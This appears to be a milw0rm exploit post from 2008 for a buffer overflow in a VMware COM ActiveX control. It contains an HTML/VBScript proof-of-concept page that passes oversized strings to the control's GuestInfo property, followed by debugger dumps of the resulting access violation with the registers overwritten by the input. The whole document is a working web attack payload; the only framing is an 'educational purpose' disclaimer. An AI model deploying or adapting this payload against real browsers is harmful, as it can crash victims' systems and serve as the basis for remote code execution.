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 VMWare COM API Buffer Overflow
 url: http://www.vmware.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
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<object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff_1 = String (2000, "a")
  buff_2 = String (2000, "b")
  test.GuestInfo (buff_1) = buff_2
 End Sub
</script>

Dump:
09:25:39.339  pid=0640 tid=0504  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

09:25:39.339  pid=0640 tid=0504  EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [00000070])
              ----------------------------------------------------------------
              EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61
              ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00
              ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07
              EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62
              EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90
                            --> MOV EDX,[ECX+70]
              ----------------------------------------------------------------

# milw0rm.com [2008-09-01]
